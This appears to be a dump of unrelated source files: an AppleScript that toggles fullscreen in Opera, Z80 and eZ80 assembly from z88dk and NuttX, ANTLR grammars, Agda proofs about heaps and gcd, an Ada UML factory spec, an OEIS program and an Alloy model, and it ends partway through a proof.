<filename>scripts/.opera-fullscreen-exit.applescript #!/usr/bin/osascript try set _APP_TIMEOUT to 5 if ("OPERA_TIMEOUT" is in system attribute) then set _APP_TIMEOUT to (system attribute "OPERA_TIMEOUT") as integer end if with timeout of _APP_TIMEOUT seconds tell application "Opera" activate delay 0.5 -- delay REQUIRED tell application "System Events" keystroke "f" using {command down, control down} end tell end tell end timeout on error errorMessage number errorNumber --Connection is invalid. (-609) if (errorNumber is in {-609}) then return error errorMessage number errorNumber end try
examples/sms/3dcity/content/music.asm
jpoikela/z88dk
640
160573
SECTION BANK_02 theMusic: BINARY "music.epsgmod" theMusicEnd:
MegaScryptGame/Assets/MegaScrypt/MegaScrypt.g4
Rud156/MegaScryptLanguage
1
2609
grammar MegaScrypt; // Parser Rules compoundId: objectGetter | Id; assignment: compoundId '=' (expression | object | array) ';' | compoundId '+=' expression ';' | compoundId '-=' expression ';' | compoundId '*=' expression ';' | compoundId '/=' expression ';'; decleration: 'var' Id ('=' (expression | object | array))? ';'; increment: ('++' compoundId) | (compoundId '++'); decrement: ('--' compoundId) | (compoundId '--'); expression: Number | compoundId | increment | decrement | array | invocation | funcDecleration | '(' expression ')' | '!' expression | '-' expression | expression ( '*' | '/' | '%' ) expression | expression ( '+' | '-' ) expression | expression ('<' | '>' | '<=' | '>=') expression | expression ( '==' | '!=' ) expression | expression '&&' expression | expression '||' expression | String | Null | Bool; statement: ifStatement | assignment | decleration | forStmt | whileStmt | foreachStmt | doWhileStmt | ((invocation | increment | decrement | returnStmt | Break | Continue) ';'); block: '{' statement* '}' | statement; object: '{' (objectPair ','?)* '}'; objectPair: Id ':' (expression | object | array); objectGetter: (objectAccess) ('.' objectAccess)*; objectAccess: Id arrayIndex?; program: (statement | block)*; ifStatement: ifBlock elseIfBlock* (elseBlock)?; ifBlock: If '(' expression ')' block; elseIfBlock: Else If '(' expression ')' block ; elseBlock: Else block ; funcDecleration: 'function' '(' varList? ')' '{' statement* '}'; varList: 'var' Id (',' 'var' Id)*; returnStmt: 'return' expression?; invocation: compoundId '(' paramList? ')'; paramList: expression (',' expression)*; array: '[' paramList? ']'; arrayIndex: '[' expression ']'; forStmt: 'for' '(' 'var' Id '=' expression ';' Id ('<' | '>' | '<=' | '>=') expression ';' (increment | decrement) ')' block; whileStmt: 'while' '(' expression ')' block; foreachStmt: 'foreach' '(' 'var' Id 'in' compoundId ')' block; doWhileStmt: 'do' block 'while' '(' expression ')'; // Lexer Rules fragment Letter : [a-zA-Z]; fragment Digit : [0-9]; fragment EQUOTE : '\\"'; Var : 'var'; Function : 'function'; Return : 'return'; For : 'for'; Do : 'do'; While : 'while'; foreach : 'foreach'; In : 'in'; Break : 'break'; Continue : 'continue'; If : 'if'; Else : 'else'; Null : 'null'; Bool : 'true' | 'false'; Or : '||'; And : '&&'; Equals : '=='; NEquals : '!='; GTEquals : '>='; LTEquals : '<='; Excl : '!'; GT : '>'; LT : '<'; Add : '+'; Subtract : '-'; Multiply : '*'; Divide : '/'; Modulus : '%'; LBrace : '{'; RBrace : '}'; Assign : '='; Semicolon : ';'; Underscore : '_'; Colon : ':'; LParen : '('; RParen : ')'; LBracket : '['; Rbracket : ']'; PlusEq : '+='; MinusEq : '-='; MultiplyEq : '*='; DivideEq : '/='; Dot : '.'; Increment : '++'; Decrement : '--'; Comma : ','; Id : ('_' | Letter)('_' | Letter | Digit)*; Number : Digit+ ('.' Digit*)?; Whitespace : [ \t\r\n]* -> skip; Comment : ( '//' ~[\r\n]* | '/*' .*? '*/' ) -> skip; String : '"' (EQUOTE | ~('\r' | '\n'))*? '"';
libsrc/target/zx/basic/zx_setint.asm
ahjelm/z88dk
640
2511
<reponame>ahjelm/z88dk<filename>libsrc/target/zx/basic/zx_setint.asm<gh_stars>100-1000 ; int zx_setint(char *variable, int value) ; CALLER linkage for function pointers SECTION code_clib PUBLIC zx_setint PUBLIC _zx_setint EXTERN asm_zx_setint .zx_setint ._zx_setint pop bc pop de pop hl push hl push de push bc jp asm_zx_setint
agda/BHeap.agda
bgbianchi/sorting
6
11969
module BHeap {A : Set}(_≤_ : A → A → Set) where open import Bound.Lower A open import Bound.Lower.Order _≤_ open import BTree {A} hiding (flatten) open import Data.Nat hiding (_≤_) open import Data.List open import Data.Sum renaming (_⊎_ to _∨_) open import Relation.Binary open import Relation.Binary.Core open import Relation.Binary.PropositionalEquality hiding (trans) open DecTotalOrder decTotalOrder hiding (refl ; _≤_) data BHeap : Bound → Set where lf : {b : Bound} → BHeap b nd : {b : Bound}{x : A} → LeB b (val x) → (l r : BHeap (val x)) → BHeap b forget : {b : Bound} → BHeap b → BTree forget lf = leaf forget (nd {x = x} _ l r) = node x (forget l) (forget r) # : {b : Bound} → BHeap b → ℕ # lf = zero # (nd _ l r) = suc (# l + # r) height : {b : Bound} → BHeap b → ℕ height lf = zero height (nd _ l r) with total (height l) (height r) ... | inj₁ hl≤hr = suc (height r) ... | inj₂ hr≤hl = suc (height l) merge : {b : Bound} → Total _≤_ → (l r : BHeap b) → BHeap b merge _ lf r = r merge _ l lf = l merge tot≤ (nd {x = x} b≤x l r) (nd {x = x'} b≤x' l' r') with tot≤ x x' ... | inj₁ x≤x' = nd b≤x (merge tot≤ l r) (nd (lexy x≤x') l' r') ... | inj₂ x'≤x = nd b≤x' (nd (lexy x'≤x) l r) (merge tot≤ l' r') flatten : {b : Bound}(h : BHeap b) → List A flatten lf = [] flatten (nd {x = x} b≤x l r) = x ∷ (flatten l ++ flatten r)
arch/z80/src/ez80/ez80_vectors.asm
CrossStream/incubator-nuttx
0
240588
<reponame>CrossStream/incubator-nuttx<filename>arch/z80/src/ez80/ez80_vectors.asm ;************************************************************************** ; arch/z80/src/ez80/ez80_vectors.asm ; ; Copyright (C) 2008-2009 <NAME>. All rights reserved. ; Author: <NAME> <<EMAIL>> ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; 3. Neither the name NuttX nor the names of its contributors may be ; used to endorse or promote products derived from this software ; without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE ; COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS ; OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED ; AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ;************************************************************************** ;************************************************************************** ; Constants ;************************************************************************** NVECTORS EQU 64 ; max possible interrupt vectors ;* Bits in the Z80 FLAGS register ***************************************** EZ80_C_FLAG EQU 01h ; Bit 0: Carry flag EZ80_N_FLAG EQU 02h ; Bit 1: Add/Subtract flag EZ80_PV_FLAG EQU 04h ; Bit 2: Parity/Overflow flag EZ80_H_FLAG EQU 10h ; Bit 4: Half carry flag EZ80_Z_FLAG EQU 40h ; Bit 5: Zero flag EZ80_S_FLAG EQU 80h ; Bit 7: Sign flag ;* The IRQ number to use for unused vectors EZ80_UNUSED EQU 40h ;************************************************************************** ; Global Symbols Imported ;************************************************************************** xref _ez80_startup xref _z80_doirq ;************************************************************************** ; Global Symbols Exported ;************************************************************************** xdef _ez80_reset xdef _ez80_initvectors xdef _ez80_handlers xdef _ez80_rstcommon xdef _ez80_initvectors xdef _ez80_vectable ;************************************************************************** ; Macros ;************************************************************************** ; Define one reset handler ; 1. Disable interrupts ; 2. Dlear mixed memory mode (MADL) flag ; 3. jump to initialization procedure with jp.lil to set ADL rstvector: macro di rsmix jp.lil _ez80_startup endmac rstvector ; Define one interrupt handler irqhandler: macro vectno ; Save AF on the stack, set the interrupt number and jump to the ; common reset handling logic. ; Offset 8: Return PC is already on the stack push af ; Offset 7: AF (retaining flags) ld a, #vectno ; A = vector number jp _ez80_rstcommon ; Remaining RST handling is common endmac irqhandler ;************************************************************************** ; Reset entry points ;************************************************************************** define .RESET, space = ROM segment .RESET _ez80_reset: _rst0: rstvector _rst8: rstvector _rst10: rstvector _rst18: rstvector _rst20: rstvector _rst28: rstvector _rst30: rstvector _rst38: rstvector ds %26 _nmi: retn ;************************************************************************** ; Startup logic ;************************************************************************** define .STARTUP, space = ROM segment .STARTUP .assume ADL=1 ;************************************************************************** ; Interrupt Vector Handling ;************************************************************************** ; Symbol Val VecNo Addr ;----------------- --- ----- ----- _ez80_handlers: irqhandler 0 ; EZ80_EMACRX_IRQ 0 0 0x040 handlersize equ $-_ez80_handlers irqhandler 1 ; EZ80_EMACTX_IRQ 1 1 0x044 irqhandler 2 ; EZ80_EMACSYS_IRQ 2 2 0x048 irqhandler 3 ; EZ80_PLL_IRQ 3 3 0x04c irqhandler 4 ; EZ80_FLASH_IRQ 4 4 0x050 irqhandler 5 ; EZ80_TIMER0_IRQ 5 5 0x054 irqhandler 6 ; EZ80_TIMER1_IRQ 6 6 0x058 irqhandler 7 ; EZ80_TIMER2_IRQ 7 7 0x05c irqhandler 8 ; EZ80_TIMER3_IRQ 8 8 0x060 irqhandler EZ80_UNUSED ; 9 0x064 irqhandler EZ80_UNUSED+1 ; 10 0x068 irqhandler 9 ; EZ80_RTC_IRQ 9 11 0x06C irqhandler 10 ; EZ80_UART0_IRQ 10 12 0x070 irqhandler 11 ; EZ80_UART1_IRQ 11 13 0x074 irqhandler 12 ; EZ80_I2C_IRQ 12 14 0x078 irqhandler 13 ; EZ80_SPI_IRQ 13 15 0x07c irqhandler 14 ; EZ80_PORTA0_IRQ 14 16 0x080 irqhandler 15 ; EZ80_PORTA1_IRQ 15 17 0x084 irqhandler 16 ; EZ80_PORTA2_IRQ 16 18 0x088 irqhandler 17 ; EZ80_PORTA3_IRQ 17 19 0x08c irqhandler 18 ; EZ80_PORTA4_IRQ 18 20 0x090 irqhandler 19 ; EZ80_PORTA5_IRQ 19 21 0x094 irqhandler 20 ; EZ80_PORTA6_IRQ 20 22 0x098 irqhandler 21 ; EZ80_PORTA7_IRQ 21 23 0x09c irqhandler 22 ; EZ80_PORTB0_IRQ 22 24 0x0a0 irqhandler 23 ; EZ80_PORTB1_IRQ 23 25 0x0a4 irqhandler 24 ; EZ80_PORTB2_IRQ 24 26 0x0a8 irqhandler 25 ; EZ80_PORTB3_IRQ 25 27 0x0ac irqhandler 26 ; EZ80_PORTB4_IRQ 26 28 0x0b0 irqhandler 27 ; EZ80_PORTB5_IRQ 27 29 0x0b4 irqhandler 28 ; EZ80_PORTB6_IRQ 28 20 0x0b8 irqhandler 29 ; EZ80_PORTB7_IRQ 29 21 0x0bc irqhandler 30 ; EZ80_PORTC0_IRQ 30 22 0x0c0 irqhandler 31 ; EZ80_PORTC1_IRQ 31 23 0x0c4 irqhandler 32 ; EZ80_PORTC2_IRQ 32 24 0x0c8 irqhandler 33 ; EZ80_PORTC3_IRQ 33 25 0x0cc irqhandler 34 ; EZ80_PORTC4_IRQ 34 26 0x0d0 irqhandler 35 ; EZ80_PORTC5_IRQ 35 27 0x0d4 irqhandler 36 ; EZ80_PORTC6_IRQ 36 28 0x0d8 irqhandler 37 ; EZ80_PORTC7_IRQ 37 29 0x0dc irqhandler 38 ; EZ80_PORTD0_IRQ 38 40 0x0e0 irqhandler 39 ; EZ80_PORTD1_IRQ 39 41 0x0e4 irqhandler 40 ; EZ80_PORTD2_IRQ 40 42 0x0e8 irqhandler 41 ; EZ80_PORTD3_IRQ 41 43 0x0ec irqhandler 42 ; EZ80_PORTD4_IRQ 42 44 0x0f0 irqhandler 43 ; EZ80_PORTD5_IRQ 43 45 0x0f4 irqhandler 44 ; EZ80_PORTD6_IRQ 44 46 0x0f8 irqhandler 45 ; EZ80_PORTD7_IRQ 45 47 0x0fc irqhandler EZ80_UNUSED+1 ; 48 0x100 irqhandler EZ80_UNUSED+2 ; 49 0x104 irqhandler EZ80_UNUSED+3 ; 50 0x108 irqhandler EZ80_UNUSED+4 ; 51 0x10c irqhandler EZ80_UNUSED+5 ; 52 0x110 irqhandler EZ80_UNUSED+6 ; 53 0x114 irqhandler EZ80_UNUSED+7 ; 54 0x118 irqhandler EZ80_UNUSED+8 ; 55 0x11c irqhandler EZ80_UNUSED+9 ; 56 0x120 irqhandler EZ80_UNUSED+10 ; 57 0x124 irqhandler EZ80_UNUSED+11 ; 58 0x128 irqhandler EZ80_UNUSED+12 ; 59 0x12c irqhandler EZ80_UNUSED+13 ; 60 0x130 irqhandler EZ80_UNUSED+14 ; 61 0x134 irqhandler EZ80_UNUSED+15 ; 62 0x138 irqhandler EZ80_UNUSED+16 ; 63 0x13c ;************************************************************************** ; Common Interrupt handler ;************************************************************************** _ez80_rstcommon: ; Create a register frame. SP points to top of frame + 4, pushes ; decrement the stack pointer. Already have ; ; Offset 8: Return PC is already on the stack ; Offset 7: AF (retaining flags) ; ; IRQ number is in A push hl ; Offset 6: HL ld hl, #(3*3) ; HL is the value of the stack pointer before add hl, sp ; the interrupt occurred (3 for PC, AF, HL) push hl ; Offset 5: Stack pointer push iy ; Offset 4: IY push ix ; Offset 3: IX push de ; Offset 2: DE push bc ; Offset 1: BC ; At this point, we know that interrupts were enabled (or we wouldn't be here ; so we can save a fake indicationn that will cause interrupts to restored when ; this context is restored ld bc, #EZ80_PV_FLAG ; Parity bit. 1=parity odd, IEF2=1 push bc ; Offset 0: I with interrupt state in parity di ; (not necessary) ; Call the interrupt decode logic. SP points to the beggining of the reg structure ld hl, #0 ; Argument #2 is the beginning of the reg structure add hl, sp ; push hl ; Place argument #2 at the top of stack ld bc, #0 ; BC = reset number ld c, a ; Save the reset number in C push bc ; Argument #1 is the Reset number call _z80_doirq ; Decode the IRQ ; On return, HL points to the beginning of the reg structure to restore ; Note that (1) the arguments pushed on the stack are not popped, and (2) the ; original stack pointer is lost. In the normal case (no context switch), ; HL will contain the value of the SP before the arguments were pushed. ld sp, hl ; Use the new stack pointer ; Restore registers. HL points to the beginning of the reg structure to restore ex af, af' ; Select alternate AF pop af ; Offset 0: AF' = I with interrupt state in parity ex af, af' ; Restore original AF pop bc ; Offset 1: BC pop de ; Offset 2: DE pop ix ; Offset 3: IX pop iy ; Offset 4: IY exx ; Use alternate BC/DE/HL pop hl ; Offset 5: HL' = Stack pointer after return exx ; Restore original BC/DE/HL pop hl ; Offset 6: HL pop af ; Offset 7: AF ; Restore the stack pointer exx ; Use alternate BC/DE/HL pop de ; Offset 8: Return address ld sp, hl ; Set SP = saved stack pointer value before return push de ; Set up for reti exx ; Restore original BC/DE/HL ; Restore interrupt state ex af, af' ; Recover interrupt state jp po, nointenable ; Odd parity, IFF2=0, means disabled ex af, af' ; Restore AF (before enabling interrupts) ei ; yes reti nointenable: ex af, af' ; Restore AF reti ;************************************************************************** ; Vector Setup Logic ;************************************************************************** _ez80_initvectors: ; Initialize the vector table ld iy, _ez80_vectable ld ix, 4 ld bc, 4 ld b, NVECTORS xor a, a ; Clear carry ld hl, handlersize ld de, _ez80_handlers sbc hl, de ; Length of irq handler in hl ld d, h ld e, l ld hl, _ez80_handlers ; Start of handlers in hl ld a, 0 $1: ld (iy), hl ; Store IRQ handler ld (iy+3), a ; Pad to 4 bytes add hl, de ; Point to next handler push de ld de, 4 add iy, de ; Point to next entry in vector table pop de djnz $1 ; Loop until all vectors have been written ; Select interrupt mode 2 im 2 ; Interrupt mode 2 ; Write the address of the vector table into the interrupt vector base ld hl, _ez80_vectable >> 8 ld i, hl ret ;************************************************************************** ; Vector Table ;************************************************************************** ; This segment must be aligned on a 512 byte boundary anywhere in RAM ; Each entry will be a 3-byte address in a 4-byte space define .IVECTS, space = RAM, align = 200h segment .IVECTS ; The first 64 bytes are not used... the vectors actually start at +0x40 _ez80_vecreserve: ds 64 _ez80_vectable: ds NVECTORS * 4
source/amf/uml/amf-internals-factories-umldi_factories.ads
svn2github/matreshka
24
8276
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2012, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ with AMF.CMOF.Associations; with AMF.CMOF.Classes; with AMF.CMOF.Data_Types; with AMF.Factories.UMLDI_Factories; with AMF.Links; with AMF.UMLDI.UML_Activity_Diagrams; with AMF.UMLDI.UML_Association_End_Labels; with AMF.UMLDI.UML_Association_Or_Connector_Or_Link_Shapes; with AMF.UMLDI.UML_Class_Diagrams; with AMF.UMLDI.UML_Classifier_Shapes; with AMF.UMLDI.UML_Compartmentable_Shapes; with AMF.UMLDI.UML_Compartments; with AMF.UMLDI.UML_Component_Diagrams; with AMF.UMLDI.UML_Composite_Structure_Diagrams; with AMF.UMLDI.UML_Deployment_Diagrams; with AMF.UMLDI.UML_Edges; with AMF.UMLDI.UML_Interaction_Diagrams; with AMF.UMLDI.UML_Interaction_Table_Labels; with AMF.UMLDI.UML_Keyword_Labels; with AMF.UMLDI.UML_Labels; with AMF.UMLDI.UML_Multiplicity_Labels; with AMF.UMLDI.UML_Name_Labels; with AMF.UMLDI.UML_Object_Diagrams; with AMF.UMLDI.UML_Package_Diagrams; with AMF.UMLDI.UML_Profile_Diagrams; with AMF.UMLDI.UML_Redefines_Labels; with AMF.UMLDI.UML_Shapes; with AMF.UMLDI.UML_State_Machine_Diagrams; with AMF.UMLDI.UML_State_Shapes; with AMF.UMLDI.UML_Stereotype_Property_Value_Labels; with AMF.UMLDI.UML_Styles; with AMF.UMLDI.UML_Typed_Element_Labels; with AMF.UMLDI.UML_Use_Case_Diagrams; with League.Holders; package AMF.Internals.Factories.UMLDI_Factories is type UMLDI_Factory is limited new AMF.Internals.Factories.Metamodel_Factory_Base and AMF.Factories.UMLDI_Factories.UMLDI_Factory with null record; overriding function Convert_To_String (Self : not null access UMLDI_Factory; Data_Type : not null access AMF.CMOF.Data_Types.CMOF_Data_Type'Class; Value : League.Holders.Holder) return League.Strings.Universal_String; overriding function Create (Self : not null access UMLDI_Factory; Meta_Class : not null access AMF.CMOF.Classes.CMOF_Class'Class) return not null AMF.Elements.Element_Access; overriding function Create_From_String (Self : not null access UMLDI_Factory; Data_Type : not null access AMF.CMOF.Data_Types.CMOF_Data_Type'Class; Image : League.Strings.Universal_String) return League.Holders.Holder; overriding function Create_Link (Self : not null access UMLDI_Factory; Association : not null access AMF.CMOF.Associations.CMOF_Association'Class; First_Element : not null AMF.Elements.Element_Access; Second_Element : not null AMF.Elements.Element_Access) return not null AMF.Links.Link_Access; overriding function Get_Package (Self : not null access constant UMLDI_Factory) return AMF.CMOF.Packages.Collections.Set_Of_CMOF_Package; function Constructor (Extent : AMF.Internals.AMF_Extent) return not null AMF.Factories.Factory_Access; function Get_Package return not null AMF.CMOF.Packages.CMOF_Package_Access; function Create_UML_Activity_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Activity_Diagrams.UMLDI_UML_Activity_Diagram_Access; function Create_UML_Association_End_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Association_End_Labels.UMLDI_UML_Association_End_Label_Access; function Create_UML_Association_Or_Connector_Or_Link_Shape (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Association_Or_Connector_Or_Link_Shapes.UMLDI_UML_Association_Or_Connector_Or_Link_Shape_Access; function Create_UML_Class_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Class_Diagrams.UMLDI_UML_Class_Diagram_Access; function Create_UML_Classifier_Shape (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Classifier_Shapes.UMLDI_UML_Classifier_Shape_Access; function Create_UML_Compartment (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Compartments.UMLDI_UML_Compartment_Access; function Create_UML_Compartmentable_Shape (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Compartmentable_Shapes.UMLDI_UML_Compartmentable_Shape_Access; function Create_UML_Component_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Component_Diagrams.UMLDI_UML_Component_Diagram_Access; function Create_UML_Composite_Structure_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Composite_Structure_Diagrams.UMLDI_UML_Composite_Structure_Diagram_Access; function Create_UML_Deployment_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Deployment_Diagrams.UMLDI_UML_Deployment_Diagram_Access; function Create_UML_Edge (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Edges.UMLDI_UML_Edge_Access; function Create_UML_Interaction_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Interaction_Diagrams.UMLDI_UML_Interaction_Diagram_Access; function Create_UML_Interaction_Table_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Interaction_Table_Labels.UMLDI_UML_Interaction_Table_Label_Access; function Create_UML_Keyword_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Keyword_Labels.UMLDI_UML_Keyword_Label_Access; function Create_UML_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Labels.UMLDI_UML_Label_Access; function Create_UML_Multiplicity_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Multiplicity_Labels.UMLDI_UML_Multiplicity_Label_Access; function Create_UML_Name_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Name_Labels.UMLDI_UML_Name_Label_Access; function Create_UML_Object_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Object_Diagrams.UMLDI_UML_Object_Diagram_Access; function Create_UML_Package_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Package_Diagrams.UMLDI_UML_Package_Diagram_Access; function Create_UML_Profile_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Profile_Diagrams.UMLDI_UML_Profile_Diagram_Access; function Create_UML_Redefines_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Redefines_Labels.UMLDI_UML_Redefines_Label_Access; function Create_UML_Shape (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Shapes.UMLDI_UML_Shape_Access; function Create_UML_State_Machine_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_State_Machine_Diagrams.UMLDI_UML_State_Machine_Diagram_Access; function Create_UML_State_Shape (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_State_Shapes.UMLDI_UML_State_Shape_Access; function Create_UML_Stereotype_Property_Value_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Stereotype_Property_Value_Labels.UMLDI_UML_Stereotype_Property_Value_Label_Access; function Create_UML_Style (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Styles.UMLDI_UML_Style_Access; function Create_UML_Typed_Element_Label (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Typed_Element_Labels.UMLDI_UML_Typed_Element_Label_Access; function Create_UML_Use_Case_Diagram (Self : not null access UMLDI_Factory) return AMF.UMLDI.UML_Use_Case_Diagrams.UMLDI_UML_Use_Case_Diagram_Access; end AMF.Internals.Factories.UMLDI_Factories;
oeis/005/A005057.asm
neoneye/loda-programs
11
689
; A005057: 5^n - 2^n. ; 0,3,21,117,609,3093,15561,77997,390369,1952613,9764601,48826077,244136529,1220694933,6103499241,30517545357,152587825089,762939322053,3814697003481,19073485803837,95367430592049,476837156105973,2384185786821321,11920928946689517,59604644758613409,298023223843398693,1490116119317656761,7450580596789610397,37252902984350705169,186264514922558832213,931322574614404773801,4656612873075245094477,23283064365382667923329,116415321826926224518533,582076609134656892396441,2910383045673336001589757 mov $1,5 pow $1,$0 mov $2,2 pow $2,$0 sub $1,$2 mov $0,$1
alloy4fun_models/trashltl/models/8/ngpYDykT5PKDGFAer.als
Kaixi26/org.alloytools.alloy
0
3331
<gh_stars>0 open main pred idngpYDykT5PKDGFAer_prop9 { always all p: Protected | always p not in Trash } pred __repair { idngpYDykT5PKDGFAer_prop9 } check __repair { idngpYDykT5PKDGFAer_prop9 <=> prop9o }
grammar/ExparParser.g4
Galfurian/expar
0
3280
// ---------------------------------------------------------------------------- // Author : <NAME> // Date : 04/02/2018 // ---------------------------------------------------------------------------- parser grammar ExparParser; options { tokenVocab = ExparLexer; } // ============================================================================ value : value_unary | value_function_call | value_scope | value_atom | value value_operator value; value_unary : (PLUS | MINUS) value; value_function_call : ID OPEN_ROUND (value COMMA?)+ CLOSE_ROUND; value_scope : (OPEN_ROUND | OPEN_CURLY | APEX | OPEN_SQUARE) (value COMMA?)+ (CLOSE_ROUND | CLOSE_CURLY | APEX | CLOSE_SQUARE); value_operator : EQUAL | PLUS | MINUS | STAR | SLASH | LOGIC_AND | LOGIC_BITWISE_AND | LOGIC_OR | LOGIC_BITWISE_OR | LOGIC_EQUAL | LOGIC_NOT_EQUAL | LOGIC_XOR | LESS_THAN | LESS_THAN_EQUAL | GREATER_THAN | GREATER_THAN_EQUAL | EXCLAMATION_MARK | BITWISE_SHIFT_LEFT | BITWISE_SHIFT_RIGHT | POWER_OPERATOR | CARET | PERCENT ; value_atom : NUMBER | ID | PERCENTAGE ;
src/fot/LTC-PCF/Program/GCD/Partial/CommonDivisor.agda
asr/fotc
11
3390
<gh_stars>10-100 ------------------------------------------------------------------------------ -- The gcd is a common divisor ------------------------------------------------------------------------------ {-# OPTIONS --exact-split #-} {-# OPTIONS --no-sized-types #-} {-# OPTIONS --no-universe-polymorphism #-} {-# OPTIONS --without-K #-} module LTC-PCF.Program.GCD.Partial.CommonDivisor where open import LTC-PCF.Base open import LTC-PCF.Base.Properties open import LTC-PCF.Data.Nat open import LTC-PCF.Data.Nat.Divisibility.NotBy0 open import LTC-PCF.Data.Nat.Divisibility.NotBy0.Properties open import LTC-PCF.Data.Nat.Induction.NonAcc.Lexicographic open import LTC-PCF.Data.Nat.Inequalities open import LTC-PCF.Data.Nat.Inequalities.EliminationProperties open import LTC-PCF.Data.Nat.Inequalities.Properties open import LTC-PCF.Data.Nat.Properties open import LTC-PCF.Program.GCD.Partial.ConversionRules open import LTC-PCF.Program.GCD.Partial.Definitions open import LTC-PCF.Program.GCD.Partial.GCD open import LTC-PCF.Program.GCD.Partial.Totality ------------------------------------------------------------------------------ -- Some cases of the gcd-∣₁. -- We don't prove that -- -- gcd-∣₁ : ... → (gcd m n) ∣ m -- because this proof should be defined mutually recursive with the -- proof -- -- gcd-∣₂ : ... → (gcd m n) ∣ n. -- -- Therefore, instead of proving -- -- gcdCD : ... → CD m n (gcd m n) -- -- using these proofs (i.e. the conjunction of them), we proved it -- using well-founded induction. -- gcd 0 (succ n) ∣ 0. gcd-0S-∣₁ : ∀ {n} → N n → gcd zero (succ₁ n) ∣ zero gcd-0S-∣₁ {n} Nn = subst (λ x → x ∣ zero) (sym (gcd-0S n)) (S∣0 Nn) -- gcd (succ₁ m) 0 ∣ succ₁ m. gcd-S0-∣₁ : ∀ {m} → N m → gcd (succ₁ m) zero ∣ succ₁ m gcd-S0-∣₁ {m} Nm = subst (λ x → x ∣ succ₁ m) (sym (gcd-S0 m)) (∣-refl-S Nm) -- gcd (succ₁ m) (succ₁ n) ∣ succ₁ m, when succ₁ m ≯ succ₁ n. gcd-S≯S-∣₁ : ∀ {m n} → N m → N n → 